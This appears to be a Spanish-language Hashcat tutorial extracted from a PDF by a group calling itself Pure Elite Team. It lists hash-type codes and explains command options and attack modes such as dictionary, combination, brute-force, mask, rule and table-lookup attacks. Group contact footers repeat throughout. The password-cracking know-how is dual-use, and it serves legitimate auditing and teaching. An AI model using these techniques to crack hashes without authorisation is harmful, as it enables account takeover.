Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
8400 = WBB3, Woltlab Burning Board 3
8900 = scrypt
9200 = Cisco $8$
9300 = Cisco $9$
9800 = Radmin2
10000 = Django (PBKDF2-SHA256)
10200 = Cram MD5
10300 = SAP CODVN H (PWDSALTEDHASH) iSSHA-1
11000 = PrestaShop
11100 = PostgreSQL Challenge-Response Authentication (MD5)
11200 = MySQL Challenge-Response Authentication (SHA1)
11400 = SIP digest authentication (MD5)
99999 = Plaintext

* Specific hash types:

11 = Joomla < 2.5.18


12 = PostgreSQL
21 = osCommerce, xt:Commerce
23 = Skype
101 = nsldap, SHA-1(Base64), Netscape LDAP SHA
111 = nsldaps, SSHA-1(Base64), Netscape LDAP SSHA
112 = Oracle S: Type (Oracle 11+)
121 = SMF > v1.1
122 = OS X v10.4, v10.5, v10.6
123 = EPi
124 = Django (SHA-1)
131 = MSSQL(2000)
132 = MSSQL(2005)
133 = PeopleSoft
141 = EPiServer 6.x < v4

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
1421 = hMailServer
1441 = EPiServer 6.x > v4
1711 = SSHA-512(Base64), LDAP {SSHA512}
1722 = OS X v10.7
1731 = MSSQL(2012 & 2014)
2611 = vBulletin < v3.8.5
2612 = PHPS
2711 = vBulletin > v3.8.5
2811 = IPB2+, MyBB1.2+
3711 = Mediawiki B type
3721 = WebEdition CMS
7600 = Redmine Project Management Web App

El siguiente paso es ver todas las opciones que nos ofrece Hashcat, para esto usamos
este comando desde la terminal como root: hashcah --help

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Hecho y Compilado por: Pure Elite Team
Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Ahora iniciemos haciendo una pequeña prueba. Como los dos archivos, tanto los
hashes a los cuales llame (hashes.hash), como las wordlist las cuales llame (words)
los elaboré yo mismo, debe ser 100% exitoso, veamos:

Todos los hash han sido recuperados :-), y esto solo es la opción mas basica que
ofrece hashcat.
A continuación explicaré las opciones mas primordiales para poder usar hashcat, las
demas las explicaré mas adelante.
--hash-type=NUM o -m: El tipo de algoritmo a usar que puede ser MD5, SHA-1,
etc. El número lo asigna hashcat en la lista de hashes soportados, asi que debes ser
muy cuidadoso al teclear el numero identificador del hash.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
--hash-type=0 (MD5) O –m 0
--attack-mode=NUM o -a: El tipo de ataque a usar en contra de un hash. Usando los
diferentes vectores de ataque aumentaran las probabilidades de recuperar la
contraseña. Los modos son los siguientes:
* 0 = Straight - Simplemente corre todas las palabras del diccionario en contra de la
lista de hashes, teniendo un buen diccionario aumentara las probabilidades de
recuperar tu hash.
* 1 = Combination - Combina las palabras del diccionario dado.
* 2 = Toggle-Case - Cambia todas las letras minúsculas a mayúsculas y viceversa.
Dígitos y caracteres especiales son ignorados.
* 3 = Brute-force - Fuerza bruta debe ser usado como último recurso, no es efectivo
contra contraseñas largas y puede consumir mucho tiempo.
* 4 = Permutation - Toma las letras de una palabra y las reordena. Ejemplo abc se
vuelve abc, acb, bca, bac.
* 5 = Table-Lookup - Rompe una cadena en caracteres individuales y aplica una
regla a cada uno que coincida con la regla en la tabla. Por defecto el modo 0.
--attack-mode=0 o -a 0 - Para un simple ataque de diccionario.
--separator=CHAR o -p - Algunas listas de hashes se pueden dar junto con el
usuario y su password encriptado. Ejemplo:
user:33c2a20e201110df4cc723c0a994b4ff en este caso el : es nuestro separador,
pueden usarse otros pero por defecto se usa siempre “:”.
--output-file o -o - Especifica donde los hashes rotos serán escritos. Esto debe ser
usado si usted planea conservar estos hashes o no desea copiar/pegar desde la
terminal. Trabaje inteligente y no más complicado. Por defecto no usado. Ejemplo:
--output-file=/home/user/Escritorio/hashes.txt o -o /home/user/Escritorio/hashes.tx
--output-format=NUM - NUM puede ser 0, 1 o 2. Generalmente no se necesita pero
si en el texto plano hay caracteres en hexadecimal esto necesita ser especificado para
prevenir “malos” textos planos. Por defecto Modo: 0. Ejemplo: --output-format=0

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
--remove - Con esta opción se borrara el hash de la lista una vez que sea crackeado.
Esto le ayudara a prevenirle de atacar el mismo hash dos veces. Por defecto no usado.
--stdout - En lugar de tratar de recuperar las contraseñas hashcat simplemente les
dará salida en la terminal.
--disable-potfile - Previene que hashcat escriba los hashes rotos en hashcat.pot . Por
defecto no usado.
--debug-file=FILE - Especifica el archivo en donde la información de depurado será
escrita. Por defecto no usado. Ejemplo: --debug-file=/user/Desktop/debug.txt
--debug-mode=NUM - Escribe bien la norma de búsqueda, la palabra original, o la
palabra mutada que fue exitosa en contra del hash usado en --debug-file=. Por
defecto no usado.
--salt-file=FILE o -e - Especifica una lista de “salts” pre-generados para ser usados
en una sesión. Esto se usa cuando en un hash con “salt” el “salt” esta ausente. Por
defecto no usado.
--segment-size=NUM o -c - Especifica la cantidad de memoria en MB que se
permitirá en el almacenamiento en cache para el diccionario. Si usted trabaja con una
cantidad limitada de memoria deberá ser usado para no interferir con los otros
servicios. Con la siguiente opción solo se permitirán 10MB de palabras en cache. Por
defecto 32 MB. Ejemplo: -c 10
--threads o -n - Para uso en procesadores “multi-threaded”. Casi todos los
procesadores contienen múltiples núcleos. Si usted tiene un procesador “quad” o de
cuatro núcleos entonces, ajuste a -n 4 o -n 6 para uno de seis núcleos. Si usted corre
un sistema multi-procesadores, ajuste -n al número de núcleos * numero de
procesadores físicos. Por ejemplo un sistema Dual hexacore seria 6 (núcleos) * 2
(procesadores) = 12 (numero de threads) por defecto: 8. Ejemplo: -n 12
--words-skip=NUM o -s - Salta el numero provisto de palabras cuando se resume
una sesión detenida. Esto previene de correr palabras contra una lista de hashes de
nuevo con lo cual se incrementaría la cantidad de tiempo en un instancia podría
tomar. La siguiente opción brincara las primeras 100000 palabras. Por defecto no
usado. Ejemplo: -s 100000

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
--words-limit=NUM o -l - Especifica el numero de palabras que serán procesadas.
Esto es útil cuando se recupera la misma lista de hashes en diferentes computadoras
así la misma computadora no corre palabras que están siendo procesadas por otra. La
siguiente opción solo usara las primeras 20000 palabras. Por defecto no usado.
Ejemplo: -l 20000
--rules-file=FILE o -r - Especifica el directorio donde se encuentran los archivo de
reglas(más adelante se explicara a detalle) Ejemplo: -r /home/user/Escritorio/1.rule
--generate-rules=NUM o -g - Le dice a hashcat que genere un numero de reglas para
aplicarse en cada intento, la opción -g 50 le dirá a hashcat crear aleatoriamente 50
reglas sobre la marcha para ser usadas enesa sesión. Esto puede eliminar la necesidad
de largos archivos de reglas, aunque un buen archivo de reglas bien creado puede
aumentar las probabilidades de recuperar la contraseña. Por defecto no usado.
Ejemplo: -g 50
--generate-rules-func-min/max=NUM - Especifica el numero de funciones que
deben ser usadas. Este número puede ser ilimitado pero largas cantidades no se
recomiendan. Cuando se usa en conjunto con -g cualquier regla fuera de este ajuste
será ignorada. Por ejemplo la opción -g 50 genera las reglas 1 r, 1^f y sa@ todas
estas son reglas válidas, sin embargo 1^f sa@ r $3 será ignorado porque contiene 5
funciones. Por defecto min=1 max=4.
--custom-charset 1,2,3,4=CS o -1,-2,-3,-4 - Este es un mapa de caracteres a medida,
todos lo derivados de hashcat tienen 4 para crear tu mapa de caracteres a medida.
Estos nos sirven en el modo 3 o bruteforce. Si no queremos pasar por todo el mapa de
caracteres a-z podemos ajustarlo así -1 abcdef -2 12345 de tal modo al hacer nuestra
mascara ?1?1?1?1?2?2 solo abarcara los caracteres indicados y no todo el abecedario
y números del 0 al 9. Ejemplo: ?1?1?1?1?2?2 - aaaa11- ffff55
--toggle-min/max=NUM - Ajustando esta opción le diremos a hashcat esperar un
mínimo/máximo de X y Y en el plano. Se puede reducir el tiempo de ejecución al no
tomar en cuenta los valores que se encuentran fuera de los requisitos de la contraseña.
Por defecto min=1 max=16. Ejemplo: --toggle-min=3 --toggle-max=5
--pw-min/max=NUM - Esto especificara el mínimo y máximo numero de espacio de
caracteres cuando se hace el Brute-force o Mass-attack. El siguiente comando
Hecho y Compilado por: Pure Elite Team
Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
intentara todas las combinaciones de caracteres desde 1 a 8 espacios. Solo los
espacios comenzando con min y terminando con max serán tomados en cuenta. Por
defecto min=1 max=16. Ejemplo: --pw-min =1 –pw-max=8
--table-file=FILE - Especifica que tabla usar con -a 5. Las tablas pueden ser
ubicadas en la carpeta Tables o puede crear unas por sí mismo. Por defecto no usado.
--table-min/max=NUM - Cualquier palabra fuera del rango especificado sera
ignorada. Por defecto 10.
--perm-min/max=NUM - Cualquier palabra fuera del rango definido sera ignorada.
Por defecto min=2 y max=10.

VECTORES DE ATAQUE
Straight - (Directo): Este ataque simplemente corre una lista de palabras y prueba
todas las cadenas contra cada hash. Este es un vector extremadamente efectivo para
una primera pasada, asumiendo que usted tiene un buen diccionario como el famoso
Rockyou.
Combination: Junta dos palabras del diccionario dado e intenta con ellas. Puede ser
útil en contra de contraseñas largas, la gente trata de añadir complejidad a sus
contraseñas escribiéndolas dos veces o personas que usan su primer y segundo
apellido. Por ejemplo Richard usa su apellido Stallman para hacer una contraseña, si
Richard y Stallman existen en el diccionario, RichardStallman será usado y también
StallmanRichard.
Toggle-case: Simplemente cambia las letras minúsculas por mayúsculas y viceversa.
Ejemplo: kALi se volvería KalI.
Brute-force: Extremadamente util en GPU, Fuerza bruta con CPU puede tardar para
siempre. Este vector tratara cada combinación --pw-min/max. Esencialmente trata
cada combinación por incrementos hasta que encuentra el texto plano requerido.
Altamente poco inteligente y usado como último recurso, excepto en maquinas con
un alto poder en GPU.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Permutation: Este vector reordena todas las letras suministradas en el diccionario
que coinciden en min/max. Por ejemplo min=1 y max=3 tomara las palabras con una
longitud de 1 a 3 y las reacomodara en todas las posiciones posibles. Puede ser
efectivo contra generadores aleatorios de contraseñas. Por defecto min=2 y max=10.
Table-lookup: Esta función a cambiado un poco con respecto a su antecesor hashcat
0.40 pero aun así es un altamente avanzado vector de ataque que rompe una cadena
en caracteres individuales y aplica una regla definida en table-file=FILE a cada uno.
Por ejemplo password es roto en cada carácter: p a s s w o r d. Entonces hashcat mira
en la tabla por las reglas que deben ser aplicadas en cada carácter. En este caso
nuestra tabla tendría:
a=a
a=A
p=p
p=P
o=o
o=O
o=0 (cero)
Ahora cada caracter que coincida será cambiado y probado. Así que por cada a, a y A
será probada, por cada p, p y P será probado y por cada o, o, O y 0 será probado. Para
aquellos que están familiarizado con las mascaras sería algo así -1 pP -2 aA -3 oO0 ?
1?2ssw?3rd. Luce algo extraño quizás para usted pero si te fijas -1 pP es nuestra
primera regla y significa que en password se cambiara la letra p por P y p, -2 aA es
la segunda regla y en donde encuentre una s la reemplazara por S y s, por lo tanto en
password reemplazara las s por S y s en ambos casos, y asi sucesivamente
dependiendo de las reglas.
Con esto finalizó este tutorial, traté de ser lo mas breve pero preciso en cuanto a cada
apartado. No me gusta extenderme demasiado en las explicaciones, y creo que si a
alguien le interesa algo siempre tratara de consultar y saber mas a profundidad lo que
desea aprender.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu
Si hay algo que no os quedo claro, pueden enviar sus inquietudes al correo
electronico pureelite@cock.lu y/o preguntarlo directamente a los miembros del Team
Pure Elite en Telegram: https://telegram.me/PureElite y/o en IRC:
https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-
Elite&prompt=1

LINKS DE REFERENCIA
https://ghostbin.com/paste/csxkm : Todo acerca de Pure Elite Team.
http://kali.org : Página oficial del Sistema Operativo GNU/Linux Kali.
https://www.torproject.org/ : Página oficial de TOR (The Onion Router).
http://i2p.net : Página oficial de I2P.
http://hashcat.net : Página Oficial de Hascat.

Hecho y Compilado por: Pure Elite Team


Contacto: IRC: https://webchat.cyberguerrilla.org/?nick=PureElite...&channels=Pure-Elite&prompt=1 Telegram:
https://telegram.me/PureElite XMPP/EMAIL: pureelite@cock.lu

Potrebbero piacerti anche